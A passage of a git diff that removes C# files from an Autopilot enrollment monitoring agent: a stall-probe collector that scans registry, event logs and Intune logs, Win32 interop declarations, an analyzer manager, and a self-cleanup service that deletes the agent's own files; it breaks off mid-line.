— we prefer to NOT auto-terminate on unknown IDs and let the user decide. - // - // TODO(stall-probe-classification): This is stellschraube #1 for promoting stall-probe findings - // to terminal failures. Currently empty by design: the ModernDeployment watcher (Ebene 1) runs - // in live-capture mode and forwards raw events so we can gather real production EventIDs first. - // Once we have 1–2 weeks of production data showing which EventIDs reliably correspond to - // terminal ESP failures (e.g. "app install failed terminally", "ESP category Error"), add them - // here. From that point on, Probe 1 (2 min) will detect them and fire EspFailureDetected → - // the session goes terminal-Failed within ~2 min instead of waiting for the 5h backend sweep. - // Cross-reference: the matching terminalReason should go into result.TerminalReason when you - // add entries (see ScanEventLogs around the TerminalModernDeploymentEventIds.Contains check). - private static readonly HashSet TerminalModernDeploymentEventIds = new HashSet - { - // Populated as real failure EventIDs are observed in production. - // Kept empty intentionally — live-capture mode (Etappe 3) collects the raw events first. - }; - - // Fallback list of ModernDeployment EventIDs that are known to be harmless and should NOT - // count as anomalies in the stall probe scan. The runtime-configurable list from the backend - // is injected via the constructor (CollectorConfiguration.ModernDeploymentHarmlessEventIds); - // this fallback is used only when no list is provided. - private static readonly int[] DefaultHarmlessModernDeploymentEventIds = new[] { 100, 1005, 1010 }; - - // AppWorkload.log active-install markers (positive signals) - private static readonly Regex ActiveInstallRegex = new Regex( - @"EnforcementState\s*[:=]\s*(Downloading|Installing|InProgress)", - RegexOptions.Compiled | RegexOptions.IgnoreCase); - - // AppWorkload.log failure markers (negative signals — but scanner only reports, no terminal decision). - // - // TODO(stall-probe-classification): This is stellschraube #2 for promoting stall-probe findings - // to terminal failures. Today any match of this regex produces a Warning-severity - // stall_probe_result event but does NOT set result.IsTerminal or fire EspFailureDetected — - // on purpose, because IME writes transient "Failed" lines that recover (retry, re-detect) and - // we do not want false-terminal verdicts during the live-capture phase. Once we can - // distinguish "retryable IME hiccup" from "terminal app install failure" based on real - // production data, tighten the regex (e.g. require a specific error code range or a second - // confirming line) and set result.IsTerminal = true + result.TerminalReason in ScanAppWorkloadTail. - // Ideas for stronger terminal signals to add here once validated: - // - EnforcementState: Failed + specific HRESULT ranges (0x87D1... Win32 app failures) - // - DetectionState: Error that persists across multiple tail samples - // - Explicit "Required app failed" lines from the ESP required-app enforcer - // - // TODO(stall-probe-imelog-scan): Also scan IntuneManagementExtension.log (not just - // AppWorkload.log). Learning from the Oriflame session b4b5d37e-a993-453e-b16b-9b75098022e4 - // (MS Intune AAD token service outage 2026-04-08): the ESP blocker was - // "Failed to get AAD token. errorCode = 3399548929" (= 0xCAA90001 AADSTS_SERVER_ERROR) - // and this string lives in IntuneManagementExtension.log, NOT AppWorkload.log. Add a third - // tail-scan source for `C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log` - // with a regex that catches repeated "Failed to get AAD token.*errorCode" lines (decimal or - // hex) as a strong "IME is blocked by service issue" signal. Watch out: IME retries every - // ~1h, so requiring at least 2 occurrences within the 15-min probe window dedup's single - // transient blips. The errorCode is DECIMAL in IME logs (3399548929), NOT hex, so the regex - // must handle both formats. A non-terminal Warning is probably the right severity — a - // service outage is recoverable and Windows ESP will eventually time out on its own if the - // outage persists, and at that point the ModernDeployment watcher (Ebene 1) should pick it up. - private static readonly Regex FailureRegex = new Regex( - @"EnforcementState\s*[:=]\s*Failed|Error\s+0x[0-9A-Fa-f]+|DetectionState\s*[:=]\s*Error", - RegexOptions.Compiled); - - public StallProbeCollector( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - int[] thresholdsMinutes, - int[] traceIndices, - string[] sources, - int sessionStalledAfterProbeIndex, - int[] harmlessModernDeploymentEventIds = null) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _thresholdsMinutes = thresholdsMinutes ?? throw new ArgumentNullException(nameof(thresholdsMinutes)); - _traceIndices = new HashSet(traceIndices ?? new int[0]); - _sources = new HashSet(sources ?? new string[0], StringComparer.OrdinalIgnoreCase); - _sessionStalledAfterProbeIndex = sessionStalledAfterProbeIndex; - _harmlessModernDeploymentEventIds = new HashSet( - harmlessModernDeploymentEventIds != null && harmlessModernDeploymentEventIds.Length > 0 - ? harmlessModernDeploymentEventIds - : DefaultHarmlessModernDeploymentEventIds); - } - - /// - /// Resets all per-probe fire-once state. Called when a new real (non-periodic) event arrives. - /// session_stalled stays fire-once across the whole session — we don't re-warn if the - /// session stalls a second time; the backend maintenance sweep handles late stalls. - /// - public void ResetProbes() - { - lock (_stateLock) - { - if (_firedProbeIndices.Count > 0) - { - _logger.Trace($"StallProbeCollector: resetting {_firedProbeIndices.Count} fired probes"); - _firedProbeIndices.Clear(); - } - } - } - - /// - /// Called from the 60-s idle check tick. Decides whether any probe threshold has been - /// newly crossed and runs the corresponding probe. - /// - public void CheckAndRunProbes(double idleMinutes) - { - // Iterate thresholds from lowest to highest so probes fire in order. - for (int i = 0; i < _thresholdsMinutes.Length; i++) - { - var thresholdMinutes = _thresholdsMinutes[i]; - if (idleMinutes < thresholdMinutes) - return; - - int probeIndex = i + 1; // 1-based for user-facing output - - bool alreadyFired; - lock (_stateLock) - { - alreadyFired = _firedProbeIndices.Contains(probeIndex); - } - if (alreadyFired) - continue; - - RunProbe(probeIndex, thresholdMinutes, idleMinutes); - - lock (_stateLock) - { - _firedProbeIndices.Add(probeIndex); - } - } - } - - private void RunProbe(int probeIndex, int thresholdMinutes, double idleMinutes) - { - var started = DateTime.UtcNow; - var result = new ProbeResult { ProbeIndex = probeIndex, IdleMinutes = Math.Round(idleMinutes, 1) }; - - // Run each source best-effort; one failure does not skip the others. - if (_sources.Contains("provisioning_registry")) - RunWithTimeout(() => ScanProvisioningRegistry(result), RegistryScanTimeoutMs, "provisioning_registry", result); - - if (_sources.Contains("diagnostics_registry")) - RunWithTimeout(() => ScanDiagnosticsRegistry(result), DiagnosticsRegistryScanTimeoutMs, "diagnostics_registry", result); - - if (_sources.Contains("eventlog")) - RunWithTimeout(() => ScanEventLogs(result), EventLogScanTimeoutMs, "eventlog", result); - - if (_sources.Contains("appworkload_log")) - RunWithTimeout(() => ScanAppWorkloadTail(result), AppWorkloadTailTimeoutMs, "appworkload_log", result); - - result.DurationMs = (int)(DateTime.UtcNow - started).TotalMilliseconds; - - // Always log locally for diagnostics — the agent_YYYYMMDD.log is the always-on observability. - var anomaliesStr = result.Anomalies.Count > 0 - ? $"anomalies=[{string.Join(",", result.Anomalies)}]" - : "quiet"; - var activeStr = result.ActiveInstalls.Count > 0 - ? $" activeInstalls=[{string.Join(",", result.ActiveInstalls)}]" - : string.Empty; - var failedStr = result.SourcesFailed.Count > 0 - ? $" sources_failed=[{string.Join(",", result.SourcesFailed)}]" - : string.Empty; - _logger.Info($"StallProbeCollector: Probe {probeIndex}/{_thresholdsMinutes.Length} ran at idle={result.IdleMinutes}min, {anomaliesStr}{activeStr}{failedStr} (duration={result.DurationMs}ms)"); - - bool hasAnomaly = result.Anomalies.Count > 0; - bool hasActiveInstalls = result.ActiveInstalls.Count > 0; - - // Emit stall_probe_result Warning on anomaly — always, regardless of probe index. - if (hasAnomaly) - { - EmitProbeResultEvent(result, severity: EventSeverity.Warning); - - if (result.IsTerminal) - { - _logger.Warning($"StallProbeCollector: terminal ESP failure detected in Probe {probeIndex} — firing EspFailureDetected"); - try { EspFailureDetected?.Invoke(this, result.TerminalReason ?? "stall_probe_terminal"); } - catch (Exception ex) { _logger.Error("EspFailureDetected handler threw", ex); } - } - } - else if (_traceIndices.Contains(probeIndex)) - { - // Quiet or activeInstalls — emit a Trace heartbeat at trace-indexed probes. - EmitProbeCheckTraceEvent(result); - } - // else: non-trace probe without anomaly → silent except for agent log. - - // session_stalled is fire-once across the whole session. It fires at the configured - // probe index UNLESS activeInstalls is observed (activeInstalls counts as progress). - if (probeIndex == _sessionStalledAfterProbeIndex && !hasActiveInstalls) - { - lock (_stateLock) - { - if (_sessionStalledFired) - return; - _sessionStalledFired = true; - } - EmitSessionStalledEvent(result); - } - } - - private void RunWithTimeout(Action action, int timeoutMs, string sourceName, ProbeResult result) - { - try - { - // Run on the calling thread but guard against exceptions. We intentionally do not - // spawn a new thread per source — the IdleCheckCallback already runs on a worker - // thread, and spinning extra threads would be heavier than the work itself. - // The timeoutMs is enforced via source-internal reads (FileStream, Registry handles - // are using-scoped and the reads themselves are bounded). - var sw = System.Diagnostics.Stopwatch.StartNew(); - action(); - sw.Stop(); - if (sw.ElapsedMilliseconds > timeoutMs) - { - _logger.Warning($"StallProbeCollector: {sourceName} scan exceeded soft timeout ({sw.ElapsedMilliseconds}ms > {timeoutMs}ms)"); - } - } - catch (Exception ex) - { - _logger.Warning($"StallProbeCollector: {sourceName} scan failed: {ex.Message}"); - result.SourcesFailed.Add(sourceName); - } - } - - private void ScanProvisioningRegistry(ProbeResult result) - { - using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotSettings", writable: false)) - { - if (key == null) - return; - - foreach (var valueName in new[] { "DevicePreparationCategory.Status", "DeviceSetupCategory.Status", "AccountSetupCategory.Status" }) - { - var json = key.GetValue(valueName)?.ToString(); - if (string.IsNullOrEmpty(json)) - continue; - - // Rudimentary scan — only flag patterns that are definitively bad. - if (json.IndexOf("\"categorySucceeded\":false", StringComparison.OrdinalIgnoreCase) >= 0 || - json.IndexOf("\"subcategoryState\":\"failed\"", StringComparison.OrdinalIgnoreCase) >= 0) - { - result.Anomalies.Add($"provisioning_registry:{valueName}"); - if (result.RawSamples.Count < 5) - result.RawSamples.Add($"{valueName}: {Truncate(json, 400)}"); - } - } - } - } - - private void ScanDiagnosticsRegistry(ProbeResult result) - { - using (var diagRoot = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\Diagnostics\Autopilot", writable: false)) - { - if (diagRoot == null) - return; - - object deployErrorCode = diagRoot.GetValue("DeploymentErrorCode"); - object deployErrorReason = diagRoot.GetValue("DeploymentErrorReason"); - - if (deployErrorCode != null) - { - // DeploymentErrorCode is typically a DWORD. 0 = no error. - var asString = deployErrorCode.ToString(); - if (!string.IsNullOrEmpty(asString) && asString != "0" && asString != "0x0") - { - result.Anomalies.Add("diagnostics_registry:DeploymentErrorCode"); - result.RawSamples.Add($"DeploymentErrorCode={asString}; DeploymentErrorReason={deployErrorReason ?? "(null)"}"); - result.IsTerminal = true; - result.TerminalReason = $"DeploymentErrorCode={asString}"; - } - } - } - } - - private void ScanEventLogs(ProbeResult result) - { - // Scan a small window (last 15 min) of Autopilot/ESP-related channels at Level ≤ 3. - var since = DateTime.UtcNow.AddMinutes(-15); - var sinceStr = since.ToString("yyyy-MM-ddTHH:mm:ss.fffZ"); - var xpath = $"*[System[(Level >= 1 and Level <= 3) and TimeCreated[@SystemTime >= '{sinceStr}']]]"; - - var channels = new[] - { - "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot", - "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService", - "Microsoft-Windows-Shell-Core/Operational" - }; - - int foundCount = 0; - foreach (var channel in channels) - { - try - { - var query = new EventLogQuery(channel, PathType.LogName, xpath) { ReverseDirection = true }; - using (var reader = new EventLogReader(query)) - { - int perChannelCap = 20; - EventRecord record; - while ((record = reader.ReadEvent()) != null && perChannelCap-- > 0) - { - using (record) - { - // Skip known harmless events — they are normal operational noise - // and should not be counted as stall anomalies. - if (_harmlessModernDeploymentEventIds.Contains(record.Id)) - continue; - - foundCount++; - if (result.RawSamples.Count < 5) - { - string desc = null; - try { desc = record.FormatDescription(); } - catch { } - desc = Truncate(desc ?? $"EventID {record.Id}", 400); - result.RawSamples.Add($"[{channel.Split('/').Last()}] ID={record.Id} Level={record.Level}: {desc}"); - } - - // Check for known terminal ModernDeployment failure event IDs. - if (TerminalModernDeploymentEventIds.Contains(record.Id)) - { - result.IsTerminal = true; - result.TerminalReason = $"ModernDeployment EventID {record.Id}"; - } - } - } - } - } - catch (EventLogNotFoundException) - { - // Channel not available on this OS — ignore silently. - } - catch (Exception ex) - { - _logger.Trace($"StallProbeCollector: eventlog scan of {channel} failed: {ex.Message}"); - } - } - - if (foundCount > 0) - { - result.Anomalies.Add($"eventlog:{foundCount}_events"); - } - } - - private void ScanAppWorkloadTail(ProbeResult result) - { - var path = @"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\AppWorkload.log"; - if (!File.Exists(path)) - return; - - // Read the last ~200 KB. AppWorkload.log can be huge; we never read the whole file. - const int tailBytes = 200 * 1024; - using (var fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete)) - { - long start = Math.Max(0, fs.Length - tailBytes); - fs.Seek(start, SeekOrigin.Begin); - using (var reader = new StreamReader(fs, Encoding.UTF8, detectEncodingFromByteOrderMarks: true, bufferSize: 4096, leaveOpen: true)) - { - string content = reader.ReadToEnd(); - - // Cut at the first newline to avoid starting mid-line. - var firstNewline = content.IndexOf('\n'); - if (firstNewline > 0 && firstNewline < content.Length - 1) - content = content.Substring(firstNewline + 1); - - // Positive-signal scan: active installations recently logged. - foreach (Match m in ActiveInstallRegex.Matches(content)) - { - if (result.ActiveInstalls.Count < 10 && !result.ActiveInstalls.Contains(m.Value)) - result.ActiveInstalls.Add(m.Value); - } - - // Negative-signal scan: failures. - var failureMatches = FailureRegex.Matches(content); - if (failureMatches.Count > 0) - { - result.Anomalies.Add($"appworkload_log:{failureMatches.Count}_errors"); - // Sample up to 3 failure lines for context. - int sampled = 0; - foreach (Match m in failureMatches) - { - if (sampled >= 3 || result.RawSamples.Count >= 5) - break; - // Extract the enclosing line for context. - int lineStart = content.LastIndexOf('\n', Math.Max(0, m.Index)); - int lineEnd = content.IndexOf('\n', m.Index); - if (lineStart < 0) lineStart = 0; - if (lineEnd < 0) lineEnd = content.Length; - var line = content.Substring(lineStart, Math.Min(400, lineEnd - lineStart)).Trim(); - result.RawSamples.Add($"AppWorkload: {line}"); - sampled++; - } - } - } - } - } - - private void EmitProbeResultEvent(ProbeResult result, EventSeverity severity) - { - var data = BuildDataJson(result); - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.StallProbeResult, - Severity = severity, - Source = "StallProbeCollector", - Phase = EnrollmentPhase.Unknown, - Message = $"Stall probe {result.ProbeIndex}/{_thresholdsMinutes.Length}: {result.Anomalies.Count} anomaly/ies after {result.IdleMinutes}min idle", - Data = data - }); - } - - private void EmitProbeCheckTraceEvent(ProbeResult result) - { - var data = BuildDataJson(result); - var summary = result.ActiveInstalls.Count > 0 - ? $"activeInstalls={result.ActiveInstalls.Count}" - : "quiet"; - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.StallProbeCheck, - Severity = EventSeverity.Trace, - Source = "StallProbeCollector", - Phase = EnrollmentPhase.Unknown, - Message = $"Stall probe {result.ProbeIndex}/{_thresholdsMinutes.Length} heartbeat: {summary} after {result.IdleMinutes}min idle", - Data = data - }); - } - - private void EmitSessionStalledEvent(ProbeResult result) - { - var data = BuildDataJson(result); - data["probeIndexTriggered"] = result.ProbeIndex; - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.SessionStalled, - Severity = EventSeverity.Warning, - Source = "StallProbeCollector", - Phase = EnrollmentPhase.Unknown, - Message = $"Session stalled: no enrollment progress for {result.IdleMinutes}min (stall probe {result.ProbeIndex})", - Data = data - }); - } - - private static Dictionary BuildDataJson(ProbeResult r) - { - return new Dictionary - { - { "probeIndex", r.ProbeIndex }, - { "idleMinutes", r.IdleMinutes }, - { "probeDurationMs", r.DurationMs }, - { "anomalyTypes", r.Anomalies.ToArray() }, - { "activeInstalls", r.ActiveInstalls.ToArray() }, - { "sources_failed", r.SourcesFailed.ToArray() }, - { "rawSamples", r.RawSamples.ToArray() }, - { "isTerminal", r.IsTerminal }, - { "terminalReason", r.TerminalReason ?? string.Empty } - }; - } - - private static string Truncate(string s, int max) - { - if (string.IsNullOrEmpty(s)) return string.Empty; - return s.Length <= max ? s : s.Substring(0, max) + "…"; - } - - private class ProbeResult - { - public int ProbeIndex; - public double IdleMinutes; - public int DurationMs; - public readonly List Anomalies = new List(); - public readonly List ActiveInstalls = new List(); - public readonly List SourcesFailed = new List(); - public readonly List RawSamples = new List(); - public bool IsTerminal; - public string TerminalReason; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/MemoryNativeMethods.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/MemoryNativeMethods.cs deleted file mode 100644 index fe49e4dd..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/MemoryNativeMethods.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Interop -{ - internal static class MemoryNativeMethods - { - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] - private struct MEMORYSTATUSEX - { - public uint dwLength; - public uint dwMemoryLoad; - public ulong ullTotalPhys; - public ulong ullAvailPhys; - public ulong ullTotalPageFile; - public ulong ullAvailPageFile; - public ulong ullTotalVirtual; - public ulong ullAvailVirtual; - public ulong ullAvailExtendedVirtual; - } - - [DllImport("kernel32.dll", SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer); - - public static bool TryGetMemoryInfo(out ulong availBytes, out ulong totalBytes, out uint loadPercent) - { - var status = new MEMORYSTATUSEX(); - status.dwLength = (uint)Marshal.SizeOf(typeof(MEMORYSTATUSEX)); - - if (GlobalMemoryStatusEx(ref status)) - { - availBytes = status.ullAvailPhys; - totalBytes = status.ullTotalPhys; - loadPercent = status.dwMemoryLoad; - return true; - } - - availBytes = 0; - totalBytes = 0; - loadPercent = 0; - return false; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/ProcessNativeMethods.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/ProcessNativeMethods.cs deleted file mode 100644 index dc8b8bf1..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/ProcessNativeMethods.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Interop -{ - /// - /// Win32 P/Invoke declarations for process creation in user session. - /// Used by UserSessionProcessLauncher to launch processes in interactive desktop sessions from SYSTEM context. - /// - internal static class ProcessNativeMethods - { - public const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; - public const int STARTF_USESHOWWINDOW = 0x00000001; - public const int STARTF_FORCEONFEEDBACK = 0x00000040; - public const short SW_SHOW = 5; - public const uint WAIT_TIMEOUT = 258; - public const uint MAXIMUM_ALLOWED = 0x02000000; - public const int SECURITY_IMPERSONATION = 2; - public const int TOKEN_PRIMARY = 1; - public const int TokenSessionId = 12; - - [StructLayout(LayoutKind.Sequential)] - public struct SECURITY_ATTRIBUTES - { - public int nLength; - public IntPtr lpSecurityDescriptor; - public bool bInheritHandle; - } - - [StructLayout(LayoutKind.Sequential)] - public struct STARTUPINFO - { - public int cb; - public string lpReserved; - public string lpDesktop; - public string lpTitle; - public int dwX; - public int dwY; - public int dwXSize; - public int dwYSize; - public int dwXCountChars; - public int dwYCountChars; - public int dwFillAttribute; - public int dwFlags; - public short wShowWindow; - public short cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public int dwProcessId; - public int dwThreadId; - } - - [DllImport("Wtsapi32.dll", SetLastError = true)] - public static extern bool WTSQueryUserToken(uint SessionId, out IntPtr phToken); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool DuplicateTokenEx( - IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, - int ImpersonationLevel, int TokenType, out IntPtr phNewToken); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool SetTokenInformation( - IntPtr TokenHandle, int TokenInformationClass, - ref uint TokenInformation, uint TokenInformationLength); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern bool CreateProcessAsUser( - IntPtr hToken, string lpApplicationName, string lpCommandLine, - ref SECURITY_ATTRIBUTES lpProcessAttributes, - ref SECURITY_ATTRIBUTES lpThreadAttributes, - bool bInheritHandles, uint dwCreationFlags, - IntPtr lpEnvironment, string lpCurrentDirectory, - ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("userenv.dll", SetLastError = true)] - public static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); - - [DllImport("userenv.dll", SetLastError = true)] - public static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool CloseHandle(IntPtr hObject); - - [DllImport("kernel32.dll")] - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool GetExitCodeProcess(IntPtr hProcess, out uint lpExitCode); - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/RegistryNativeMethods.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/RegistryNativeMethods.cs deleted file mode 100644 index 3591757b..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Interop/RegistryNativeMethods.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using Microsoft.Win32.SafeHandles; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Interop -{ - internal static class RegistryNativeMethods - { - public const int KEY_NOTIFY = 0x0010; - public const int KEY_WOW64_64KEY = 0x0100; - public const int KEY_WOW64_32KEY = 0x0200; - - [Flags] - public enum RegChangeNotifyFilter : uint - { - Name = 0x00000001, - Attributes = 0x00000002, - LastSet = 0x00000004, - Security = 0x00000008, - - // Supported on Windows 8+ - ThreadAgnostic = 0x10000000 - } - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int RegOpenKeyEx( - UIntPtr hKey, - string lpSubKey, - uint ulOptions, - int samDesired, - out SafeRegistryHandle phkResult); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern int RegNotifyChangeKeyValue( - SafeRegistryHandle hKey, - bool bWatchSubtree, - RegChangeNotifyFilter dwNotifyFilter, - SafeWaitHandle hEvent, - bool fAsynchronous); - - public static int GetSamDesired(RegistryView view) - { - switch (view) - { - case RegistryView.Registry64: - return KEY_NOTIFY | KEY_WOW64_64KEY; - - case RegistryView.Registry32: - return KEY_NOTIFY | KEY_WOW64_32KEY; - - case RegistryView.Default: - return KEY_NOTIFY; - - default: - throw new ArgumentOutOfRangeException(nameof(view)); - } - } - } -} \ No newline at end of file diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/AnalyzerManager.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/AnalyzerManager.cs deleted file mode 100644 index 1ea76c23..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/AnalyzerManager.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Manages agent analyzers: initialization from remote config, startup execution - /// on a background thread, and shutdown execution with optional WhiteGlove part. - /// - public class AnalyzerManager - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly Action _emitEvent; - private readonly RemoteConfigService _remoteConfigService; - - private readonly List _analyzers = new List(); - - public AnalyzerManager( - AgentConfiguration configuration, - AgentLogger logger, - Action emitEvent, - RemoteConfigService remoteConfigService) - { - _configuration = configuration; - _logger = logger; - _emitEvent = emitEvent; - _remoteConfigService = remoteConfigService; - } - - public void Initialize() - { - _analyzers.Clear(); - - var analyzerConfig = _remoteConfigService?.CurrentConfig?.Analyzers ?? new AnalyzerConfiguration(); - - if (analyzerConfig.EnableLocalAdminAnalyzer) - { - _analyzers.Add(new LocalAdminAnalyzer( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - analyzerConfig.LocalAdminAllowedAccounts - )); - _logger.Info("LocalAdminAnalyzer registered"); - } - else - { - _logger.Info("LocalAdminAnalyzer disabled by remote config"); - } - - if (analyzerConfig.EnableSoftwareInventoryAnalyzer) - { - _analyzers.Add(new SoftwareInventoryAnalyzer( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger - )); - _logger.Info("SoftwareInventoryAnalyzer registered"); - } - else - { - _logger.Info("SoftwareInventoryAnalyzer disabled by remote config"); - } - - if (analyzerConfig.EnableIntegrityBypassAnalyzer) - { - _analyzers.Add(new IntegrityBypassAnalyzer( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger - )); - _logger.Info("IntegrityBypassAnalyzer registered"); - } - else - { - _logger.Info("IntegrityBypassAnalyzer disabled by remote config"); - } - - _logger.Info($"Analyzers initialized: {_analyzers.Count} active"); - } - - public void RunStartup() - { - if (_analyzers.Count == 0) - return; - - var analyzers = new List(_analyzers); - - _logger.Info($"Scheduling {analyzers.Count} startup analyzer(s) on background thread"); - - Task.Run(() => - { - foreach (var analyzer in analyzers) - { - try - { - analyzer.AnalyzeAtStartup(); - } - catch (Exception ex) - { - _logger.Error($"Analyzer {analyzer.Name} threw during startup", ex); - } - } - }); - } - - public void RunShutdown(int? whiteGlovePart = null) - { - if (_analyzers.Count == 0) - return; - - _logger.Info($"Running {_analyzers.Count} shutdown analyzer(s) (whiteGlovePart={whiteGlovePart?.ToString() ?? "none"})"); - - foreach (var analyzer in _analyzers) - { - try - { - if (analyzer is SoftwareInventoryAnalyzer softwareAnalyzer) - softwareAnalyzer.AnalyzeAtShutdown(whiteGlovePart); - else - analyzer.AnalyzeAtShutdown(); - } - catch (Exception ex) - { - _logger.Error($"Analyzer {analyzer.Name} threw during shutdown", ex); - } - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/CleanupService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/CleanupService.cs deleted file mode 100644 index 76981aa7..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/CleanupService.cs +++ /dev/null @@ -1,124 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Security; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Handles agent cleanup on enrollment completion: - /// removes the Scheduled Task and deletes all agent files (self-destruct). - /// - public class CleanupService - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - - public CleanupService(AgentConfiguration configuration, AgentLogger logger) - { - _configuration = configuration; - _logger = logger; - } - - /// - /// Executes full self-destruct: removes scheduled task and deletes all files - /// - public virtual void ExecuteSelfDestruct() - { - try - { - _logger.Info($"Executing FULL SELF-DESTRUCT (Scheduled Task + Files{(_configuration.RebootOnComplete ? " + Reboot" : "")})"); - - var currentProcessId = Process.GetCurrentProcess().Id; - var agentBasePath = Path.GetFullPath(Path.Combine( - Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), - "AutopilotMonitor" - )); - - var logDir = Path.GetFullPath(Path.Combine(agentBasePath, "Logs")); - var keepLogs = _configuration.KeepLogFile; - - // Create a self-deleting PowerShell script - var cleanupScript = $@" -$scriptPath = $MyInvocation.MyCommand.Path - -# Wait for agent process to exit -Start-Sleep -Seconds 2 -Wait-Process -Id {currentProcessId} -ErrorAction SilentlyContinue -Timeout 30 -Start-Sleep -Seconds 1 - -# Remove Scheduled Task -try {{ - Stop-ScheduledTask -TaskName '{_configuration.ScheduledTaskName}' -ErrorAction SilentlyContinue - Unregister-ScheduledTask -TaskName '{_configuration.ScheduledTaskName}' -Confirm:$false -ErrorAction SilentlyContinue -}} catch {{ }} - -{(keepLogs ? $@" -# Delete everything except Logs directory -Get-ChildItem -Path '{agentBasePath}' -Exclude 'Logs' | ForEach-Object {{ - $dest = $_.FullName + '.del' - try {{ Rename-Item -Path $_.FullName -NewName $dest -Force -ErrorAction SilentlyContinue }} catch {{ }} - Remove-Item -Path $dest -Recurse -Force -ErrorAction SilentlyContinue -}} -" : $@" -# Rename folder then delete. Retry a few times to let the OS release handles. -$renamedPath = '{agentBasePath}.del' -$renamed = $false -for ($i = 1; $i -le 10; $i++) {{ - try {{ - Rename-Item -Path '{agentBasePath}' -NewName $renamedPath -Force -ErrorAction Stop - $renamed = $true - break - }} catch {{ - Start-Sleep -Seconds 2 - }} -}} -if ($renamed) {{ - Remove-Item -Path $renamedPath -Recurse -Force -ErrorAction SilentlyContinue -}} else {{ - Remove-Item -Path '{agentBasePath}' -Recurse -Force -ErrorAction SilentlyContinue -}} -")} -{(_configuration.RebootOnComplete ? @" -Restart-Computer -Force -Delay 